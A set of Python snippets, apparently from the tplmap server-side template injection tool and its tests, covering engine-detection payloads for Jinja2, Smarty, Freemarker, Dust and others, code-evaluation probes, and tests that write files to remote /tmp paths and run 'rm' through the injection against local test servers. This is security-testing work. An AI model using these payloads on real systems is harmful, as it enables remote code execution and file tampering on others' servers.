def test_upload_blind(self): obj, data = self._get_detection_obj_data( self.url_blind % '' ) self.assertEqual(data, self.expected_data_blind) # Send file without --force-overwrite, should fail remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10) obj.write('AAAA', remote_temp_path) self.assertFalse(os.path.exists(remote_temp_path)) # Now set --force-overwrite and retry obj.channel.args['force_overwrite'] = True # Send long binary data = open('/bin/ls', 'rb').read() obj.write(data, remote_temp_path) # Since it's blind, read md5 from disk checkdata = open(remote_temp_path, 'rb').read() self.assertEqual(strings.md5(checkdata), strings.md5(data)) os.unlink(remote_temp_path) remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10) # Send short ASCII data data = 'SHORT ASCII DATA' obj.write(data, remote_temp_path) checkdata = open(remote_temp_path, 'rb').read() self.assertEqual(strings.md5(checkdata), strings.md5(data)) os.unlink(remote_temp_path)
def test_upload(self): obj, data = self._get_detection_obj_data(self.url % '') self.assertEqual(data, self.expected_data) if not EXTRA_UPLOAD: return remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10) # Send long binary data = open('/bin/ls', 'rb').read() obj.write(data, remote_temp_path) self.assertEqual(obj.md5(remote_temp_path), strings.md5(data)) obj.execute('rm %s' % (remote_temp_path)) remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10) # Send short ASCII data, without removing it data = 'SHORT ASCII DATA' obj.write(data, remote_temp_path) self.assertEqual(obj.md5(remote_temp_path), strings.md5(data)) # Try to append data without --force-overwrite and re-check the previous md5 obj.write('APPENDED DATA', remote_temp_path) self.assertEqual(obj.md5(remote_temp_path), strings.md5(data)) # Now set --force-overwrite and rewrite new data on the same file obj.channel.args['force_overwrite'] = True data = 'NEW DATA' obj.write(data, remote_temp_path) self.assertEqual(obj.md5(remote_temp_path), strings.md5(data)) obj.execute('rm %s' % (remote_temp_path))
def rendered_detected(self): randA = rand.randstr_n(2) randB = rand.randstr_n(2) payload = '"%s".join("%s")' % (randA, randB) expected = randA.join(randB) if expected == self.render(payload): self.set('engine', self.plugin.lower()) self.set('language', self.language) os = self.evaluate( """'-'.join([__import__('os').name, __import__('sys').platform])""" ) if os and re.search('^[\w-]+$', os): self.set('os', os) self.set('evaluate', self.language) self.set('write', True) self.set('read', True) expected_rand = str(rand.randint_n(2)) if expected_rand == self.execute('echo %s' % expected_rand): self.set('execute', True) self.set('bind_shell', True) self.set('reverse_shell', True)
def rendered_detected(self): randA = rand.randstr_n(2) randB = rand.randstr_n(2) # Check this to avoid detecting Twig as Jinja2 payload = '{{"%s".join("%s")}}' % (randA, randB) expected = randA.join(randB) if expected == self.render(payload): self.set('engine', self.plugin.lower()) self.set('language', self.language) os = self.evaluate("""'-'.join([__import__('os').name, __import__('sys').platform])""") if os and re.search('^[\w-]+$', os): self.set('os', os) self.set('evaluate', self.language) self.set('write', True) self.set('read', True) expected_rand = str(rand.randint_n(2)) if expected_rand == self.execute('echo %s' % expected_rand): self.set('execute', True) self.set('bind_shell', True) self.set('reverse_shell', True)
def test_upload_blind(self): obj, data = self._get_detection_obj_data(self.url_blind % '', technique='T') self.assertEqual(data, self.expected_data_blind) if not EXTRA_UPLOAD_BLIND: return # Send file without --force-overwrite, should fail remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10) obj.write('AAAA', remote_temp_path) self.assertFalse(os.path.exists(remote_temp_path)) # Now set --force-overwrite and retry obj.channel.args['force_overwrite'] = True # Send long binary data = open('/bin/ls', 'rb').read() obj.write(data, remote_temp_path) # Since it's blind, read md5 from disk checkdata = open(remote_temp_path, 'rb').read() self.assertEqual(strings.md5(checkdata), strings.md5(data)) os.unlink(remote_temp_path) remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10) # Send short ASCII data data = 'SHORT ASCII DATA' obj.write(data, remote_temp_path) checkdata = open(remote_temp_path, 'rb').read() self.assertEqual(strings.md5(checkdata), strings.md5(data)) os.unlink(remote_temp_path)
def detect_engine(self): randA = rand.randstr_n(1) randB = rand.randstr_n(1) payload = '%s{*%s*}%s' % (randA, rand.randstr_n(1), randB) expected = randA + randB if expected == self.render(payload): self.set('language', 'php') self.set('engine', 'smarty')
def detect_engine(self): randA = rand.randstr_n(1) randB = rand.randstr_n(1) payload = '%s<#--%s-->%s' % (randA, rand.randstr_n(1), randB) expected = randA + randB if expected == self.inject(payload): self.set('language', 'java') self.set('engine', 'freemarker')
def detect_engine(self): randA = rand.randstr_n(1) randB = rand.randstr_n(1) payload = '%s{*%s*}%s' % (randA, rand.randstr_n(1), randB) expected = randA + randB if expected == self.inject(payload): self.set('language', 'php') self.set('engine', 'smarty')
def detect_engine(self): randA = rand.randstr_n(2) randB = rand.randstr_n(2) payload = '{{"%s".join("%s")}}' % (randA, randB) expected = randA.join(randB) if expected == self.inject(payload): self.set('language', 'python') self.set('engine', 'jinja2') self.set('eval', 'python')
def rendered_detected(self): randA = rand.randstr_n(2) # Check this to avoid false positives payload = 'p %s' % randA expected = '<p>%s</p>' % randA if expected == self.render(payload): self.set('engine', self.plugin.lower()) self.set('language', self.language) os = self.evaluate("""global.process.mainModule.require('os').platform()""") if os and re.search('^[\w-]+$', os): self.set('os', os) self.set('evaluate', self.language) self.set('write', True) self.set('read', True) expected_rand = str(rand.randint_n(2)) if expected_rand == self.execute('echo %s' % expected_rand): self.set('execute', True) self.set('bind_shell', True) self.set('reverse_shell', True)
def test_upload(self): template = 'AAAA%sAAAA' channel = Channel({ 'url' : 'http://127.0.0.1:15001/reflect/jinja2?inj=*' }) jinja2obj = Jinja2(channel) jinja2obj.detect() del channel.data['os'] self.assertEqual(channel.data, self.expected_data) remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10) # Send long binary data = open('/bin/ls', 'rb').read() jinja2obj.write(data, remote_temp_path) self.assertEqual(jinja2obj._md5(remote_temp_path), strings.md5(data)) jinja2obj.execute('rm %s' % (remote_temp_path)) # Send short ASCII data, without removing it data = 'SHORT ASCII DATA' jinja2obj.write(data, remote_temp_path) self.assertEqual(jinja2obj._md5(remote_temp_path), strings.md5(data)) # Try to append data without --force-overwrite and re-check the previous md5 jinja2obj.write('APPENDED DATA', remote_temp_path) self.assertEqual(jinja2obj._md5(remote_temp_path), strings.md5(data)) # Now set --force-overwrite and rewrite new data on the same file jinja2obj.channel.args['force_overwrite'] = True data = 'NEW DATA' jinja2obj.write(data, remote_temp_path) self.assertEqual(jinja2obj._md5(remote_temp_path), strings.md5(data)) jinja2obj.execute('rm %s' % (remote_temp_path))
def rendered_detected(self): randA = rand.randstr_n(2) # Check this to avoid false positives payload = 'p %s' % randA expected = '<p>%s</p>' % randA if expected == self.render(payload): self.set('engine', self.plugin.lower()) self.set('language', self.language) os = self.evaluate( """global.process.mainModule.require('os').platform()""") if os and re.search('^[\w-]+$', os): self.set('os', os) self.set('evaluate', self.language) self.set('write', True) self.set('read', True) expected_rand = str(rand.randint_n(2)) if expected_rand == self.execute('echo %s' % expected_rand): self.set('execute', True) self.set('bind_shell', True) self.set('reverse_shell', True)
def test_upload(self): channel = Channel({ 'url' : 'http://127.0.0.1:15002/smarty-3.1.29-unsecured.php?inj=*' }) smartyobj = Smarty(channel) smartyobj.detect() del channel.data['os'] self.assertEqual(channel.data, self.expected_data) remote_temp_path = '/tmp/tplmap_%s.tmp' % rand.randstr_n(10) # Send long binary data = open('/bin/ls', 'rb').read() smartyobj.write(data, remote_temp_path) self.assertEqual(smartyobj._md5(remote_temp_path), strings.md5(data)) smartyobj.execute('rm %s' % (remote_temp_path)) # Send short ASCII data, without removing it data = 'SHORT ASCII DATA' smartyobj.write(data, remote_temp_path) self.assertEqual(smartyobj._md5(remote_temp_path), strings.md5(data)) # Try to append data without --force-overwrite and re-check the previous md5 smartyobj.write('APPENDED DATA', remote_temp_path) self.assertEqual(smartyobj._md5(remote_temp_path), strings.md5(data)) # Now set --force-overwrite and rewrite new data on the same file smartyobj.channel.args['force_overwrite'] = True data = 'NEW DATA' smartyobj.write(data, remote_temp_path) self.assertEqual(smartyobj._md5(remote_temp_path), strings.md5(data)) smartyobj.execute('rm %s' % (remote_temp_path))
def detect(self): self._detect_dust() if self.get('engine'): log.info('%s plugin has confirmed injection' % ( self.plugin) ) # Clean up any previous unreliable render data self.delete('unreliable_render') self.delete('unreliable') # Further exploitation requires if helper, which has # been deprecated in version [email protected] . # Check if helper presence here. rand_A = rand.randstr_n(2) rand_B = rand.randstr_n(2) rand_C = rand.randstr_n(2) expected = rand_A + rand_B + rand_C if expected in self.inject('%s{@if cond="1"}%s{/if}%s' % (rand_A, rand_B, rand_C)): log.info('%s plugin has confirmed the presence of dustjs if helper <= 1.5.0' % ( self.plugin) ) # Blind inj must be checked also with confirmed rendering self._detect_blind() if self.get('blind'): log.info('%s plugin has confirmed blind injection' % (self.plugin)) # Clean up any previous unreliable render data self.delete('unreliable_render') self.delete('unreliable') # Set basic info self.set('engine', self.plugin.lower()) self.set('language', self.language) # Set the environment self.blind_detected()
def rendered_detected(self): randA = rand.randstr_n(3) # {{7*'7'}} and a{#b#}c work in freemarker as well # {%% set a=%i*%i %%}{{a}} works in Nunjucks as well payload = '{{"%s\n"|nl2br}}' % (randA) expected = "%s<br />" % (randA) if expected == self.render(payload): self.set('engine', self.plugin.lower()) self.set('language', self.language)
def rendered_detected(self): randA = rand.randstr_n(1) randB = rand.randstr_n(1) payload = '%s<#--%s-->%s' % (randA, rand.randstr_n(1), randB) expected = randA + randB if expected == self.render(payload): self.set('engine', self.plugin.lower()) self.set('language', self.language) expected_rand = str(rand.randint_n(2)) if expected_rand == self.execute('echo %s' % expected_rand): self.set('execute', True) self.set('write', True) self.set('read', True) self.set('bind_shell', True) self.set('reverse_shell', True) os = self.execute("""uname""") if os and re.search('^[\w-]+$', os): self.set('os', os)